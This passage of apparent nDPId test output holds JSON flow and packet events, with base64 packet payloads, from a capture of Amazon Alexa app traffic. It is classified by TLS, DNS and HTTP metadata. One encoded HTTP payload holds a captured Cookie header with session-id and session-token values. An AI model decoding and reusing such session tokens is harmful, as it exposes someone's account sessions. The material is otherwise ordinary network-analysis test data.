PYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABVvepylwAAAQDAEYwRAIgYi4IRQJREnRkm3M\/z0PSCRr42\/srnQR36TRR2kSRPmYCIEtHXAsbBkpLUUbUSSG7BVrF\/\/FAKu7EMnSzk83azXCxAHUApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFW96nLnwAABAMARjBEAiB+4n8nvaU3xVjE8+gmVSYLuatUIO5o3A9yJucLcJuIOwIgVCIxrAglUehS5N51k2WXJQwsXf+12jP\/5+GjHbr0EsUwDQYJKoZIhvcNAQELBQADggEBAGuxWokn+1oF72ZaXxMUWJRPXavX2Lpkrsjol95S83CR0jVQRM2WriDQRViktyJWg1VOkVdFRolgfaIPDOWjIWd54RFSBtAKetX2TE0="} +00822{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":907,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":66,"flow_packet_id":7,"flow_first_seen":1490976067968,"flow_last_seen":1490976068174,"flow_tot_l4_data_len":1849,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":264,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.146","src_port":41691,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02386{"flow_id":66,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":908,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":174709,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcZIZAANsGCiw27x2SrBAq2AG7otunyd2sbtzLCVAQf\/zCTwAAqsxsINuDLLhY5Q2kdkU9+XVolUWl8QYC0tiGydpyImPxSLauHfX98pHOGiPFDGCJFhWs5bRoveA2VU9AQRLAj2LwO2m\/GFBZ+xuk3M+e9W7Lk5pycrfMtHzksuGeQtAx4OV4Utuv2WAwf8nR89cTIGwexgWD4bUZLYdwBdainm68bifoieHhXhZZNdBAGu+07VDgHiYwsGMizOxIfvdkAcbvQcMOUx3uGUCB4\/px2GbFElQYAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8="} +00978{"flow_id":66,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":909,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":174770,"pkt_caplen":464,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":464,"pkt_l4_len":430,"pkt":"ePiC0\/vCAMDKkVoBCABFAAHCZIdAANsGDkU27x2SrBAq2AG7otunyeNgbtzLCVAYf\/xVlQAADrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHFgMDAU0MAAFJAwAXQQQgybwNcmYxYehlqaX0lDqml5f0PcJM8Fsah6vm03jvbZ4bkrnHlJGy5BFbvGNR3CLh8LomqWzOC\/9YxeFX7733BgEBAJW2\/1xJzMbdPlAc7ah\/z\/TRcDuRX8lO76Nq95Fma644QavQ0fbotVF+XzFExx2dNMBFTh4duz\/UEUmUr4HwtMdpfaKaKYTU9AMmVvpmnSsNfEDLT4KilnTQC9OZLrgI2u33q8tuhqJEvh\/Ej5x4euC2jCvhqIpQAN4MQXq2j\/SfYwBsBpeCrRbJ3z3SD+xMXJQhlvze2u+J9FfjMP88Hqar7IOV\/DbPJ5jiZaar9zAv56OIRd0Rdmk\/F8vj2MQEa+\/ZvN8h9cg0M0FFltgFjkBrYw8\/BKFICEnVXKn9iWSl+TkpSctAOborGxA3MboZnHKkSt8pZiOlENScGToxFaMWAwMABA4AAAA="} +01152{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":909,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":66,"flow_packet_id":9,"flow_first_seen":1490976067968,"flow_last_seen":1490976068174,"flow_tot_l4_data_len":3759,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":417,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.146","src_port":41691,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api.amazon.com","server_names":"api.amazon.com,wsync.us-east-1.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=api.amazon.com","fingerprint":"1D:A3:CD:C3:06:9E:9B:A0:61:1E:1A:75:55:C1:A8:B0:DC:F8:75:2D"}} +00415{"flow_id":66,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":911,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":179829,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAokvpAAEAGfGysECrYNu8dkqLbAbtu3MsJp8ndrFAQAWIfFgAA"} +00415{"flow_id":66,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":912,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":180097,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAokvtAAEAGfGusECrYNu8dkqLbAbtu3MsJp8njYFAQAW0ZVwAA"} +00415{"flow_id":66,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":913,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":180254,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAokvxAAEAGfGqsECrYNu8dkqLbAbtu3MsJp8nk+lAQAXkXsQAA"} +00587{"flow_id":66,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":915,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":229898,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AMDKkaPvePiC0\/vCCABFAACmkv1AAEAGe+usECrYNu8dkqLbAbtu3MsJp8nk+lAYAXkRuwAAFgMDAEYQAABCQQQ46D6Y+UkGsvZQOcPhRkHCWnfIPXTDx\/pw1D0fy3NnkyB5H1viTB9LQDFgLBJbS3ysAlHrtm5l7+PPvPeTuTWkFAMDAAEBFgMDACjkCJX4dr0ILknXj8wy2V44ye61dT+shkTZjNif5tZN70vlauF4yX54"} +00488{"flow_id":66,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":916,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":307325,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ePiC0\/vCAMDKkVoBCABFAABbZIhAANsGD6s27x2SrBAq2AG7otunyeT6btzLh1AYf\/oR1gAAFAMDAAEBFgMDACj\/05YtkjPkhogM3qsd3oBvWrpIBlIsg+QyIW\/imeeQrNa1vk1Hj2Vv"} +00415{"flow_id":66,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":917,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":313208,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAokv5AAEAGfGisECrYNu8dkqLbAbtu3MuHp8nlLVAQAXkXAAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":958,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1490976071237,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49606,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":958,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":237623,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA870hAAEAGV6asECrYNF7ohsHGAFAgR7VrAAAAAKAC\/\/9hTwAAAgQFtAQCCAoA9lojAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":959,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1490976071286,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45693,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":959,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":286664,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8a3lAAEAG23WsECrYNF7ohrJ9AbuRJzFRAAAAAKAC\/\/+CYgAAAgQFtAQCCAoA9looAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":960,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1490976071306,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45694,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":960,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":306483,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8mshAAEAGrCasECrYNF7ohrJ+AbvI+MDiAAAAAKAC\/\/+6\/AAAAgQFtAQCCAoA9loqAAAAAAEDAwg="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":961,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1490976071312,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":25081,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":961,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":312877,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AMDKkaPvePiC0\/vCCABFAAA+WllAAEARM1ysECrYrBAqAWH5ADUAKtG2BusBAAABAAAAAAAABWFsZXhhBmFtYXpvbgNjb20AAAEAAQ=="} +00661{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":961,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1490976071312,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":25081,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"dns": {"query":"alexa.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"flow_id":67,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":962,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":322934,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw3TJAAOcGwsc0XuiGrBAq2ABQwcY3D6dGIEe1bHASH\/76HQAAAgQFtAEDAwY="} +00414{"flow_id":67,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":963,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":324237,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo70lAAEAGV7msECrYNF7ohsHGAFAgR7VsNw+nR1AQAVdEjwAA"} +01457{"flow_id":67,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":964,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":324885,"pkt_caplen":834,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":834,"pkt_l4_len":800,"pkt":"AMDKkaPvePiC0\/vCCABFAAM070pAAEAGVKysECrYNF7ohsHGAFAgR7VsNw+nR1AYAVdFngAAR0VUIC9tYW5pZmVzdC9waXRhbmd1aS5hcHBjYWNoZSBIVFRQLzEuMQ0KSG9zdDogYWxleGEuYW1hem9uLmNvbQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDUuMS4xOyBMR0xTNzUxIEJ1aWxkL0xNWTQ3Vjsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIENocm9tZS81Ni4wLjI5MjQuODcgTW9iaWxlIFNhZmFyaS81MzcuMzYNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KQ29va2llOiBjc3JmPS04NDYxMjczODsgc2Vzc2lvbi1pZC10aW1lPTIwODI3ODcyMDFsOyBzZXNzaW9uLWlkPTE1NC0zMTAzMjY1LTI5MzI1MTY7IGxjLW1haW49ZW5fVVM7IHViaWQtbWFpbj0xNTItODc2MzUwNS03MzA0OTA0OyBzZXNzaW9uLXRva2VuPSI3S0hoNVRqUzVrSkVsck5LcDdpUVlWZEY3U1VyYVV6QzdaallYOFNobzF5bXFZaGp3NElNR1FPNUE4Y3B1TStyS0ZyTVU2a3VjUlpwUDhSb3p5c2hDRVRWdlBIYWVHSzBXSk9LaW1nMnJlRTJvRmszOXhJemVzUXFoeGE5NFZhNVpuOFgyc1E5MDNqT2w2UlllWVowL2VCWDhkdVpoYVRNVE1pRk0veFdsS0NmZHdQNTF4WDhFRmNGcTI2OXBaWkR4YXpNSVJnbzQ1UT0iOyB4LW1haW49IloyU2tCV2VGdDh0YWt4P3VvSE1oQmdXS0o4QlZubTlWMFprVXNmM3FmbHBCaEBMSDBDVDBVU2hvaE1xSHpvWWYiDQpYLVJlcXVlc3RlZC1XaXRoOiBjb20uYW1hem9uLmRlZS5hcHANCg0K"} +00842{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":964,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":67,"flow_packet_id":4,"flow_first_seen":1490976071237,"flow_last_seen":1490976071324,"flow_tot_l4_data_len":888,"flow_min_l4_data_len":20,"flow_max_l4_data_len":800,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49606,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"http": {"hostname":"alexa.amazon.com","url":"alexa.amazon.com\/manifest\/pitangui.appcache","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":965,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1490976071349,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45695,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":965,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":349196,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8lMZAAEAGsiisECrYNF7ohrJ\/Abuhu87oAAAAAKAC\/\/\/ULgAAAgQFtAQCCAoA9louAAAAAAEDAwg="} +00427{"flow_id":69,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":966,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":360390,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwaLpAAOcGN0A0XuiGrBAq2AG7sn5peFkmyPjA43ASH\/5viQAAAgQFtAEDAwY="} +00414{"flow_id":69,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":967,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":361620,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAomslAAEAGrDmsECrYNF7ohrJ+AbvI+MDjaXhZJ1AQAVe5+gAA"} +00695{"flow_id":69,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":968,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":362364,"pkt_caplen":261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":261,"pkt_l4_len":227,"pkt":"AMDKkaPvePiC0\/vCCABFAAD3mspAAEAGq2msECrYNF7ohrJ+AbvI+MDjaXhZJ1AYAVcLWAAAFgMBAMoBAADGAwOkcAvRwSrfQVVFK\/foqopFdMlvROgq0BQ0TyljveD8PAAAIKqqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAfQoKAAD\/AQABAAAAABgAFgAAE3BpdGFuZ3VpLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAh6egAdABcAGNraAAEA"} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":968,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":69,"flow_packet_id":4,"flow_first_seen":1490976071306,"flow_last_seen":1490976071362,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":20,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45694,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00427{"flow_id":68,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":969,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":363611,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwWSpAAOcGRtA0XuiGrBAq2AG7sn0V5Ch+kScxUnASH\/67KQAAAgQFtAEDAwY="} +00414{"flow_id":68,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":970,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":364685,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoa3pAAEAG24isECrYNF7ohrJ9AbuRJzFSFeQof1AQAVcFmwAA"} +00738{"flow_id":68,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":971,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":365551,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXa3tAAEAG2pisECrYNF7ohrJ9AbuRJzFSFeQof1AYAVcrhgAAFgMBAOoBAADmAwM07In88XJWi3gVEL3IAq3jnfxPPEmAP53P8CbtvduRQCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgOjrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9iooAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACOrqAB0AFwAY+voAAQA="} 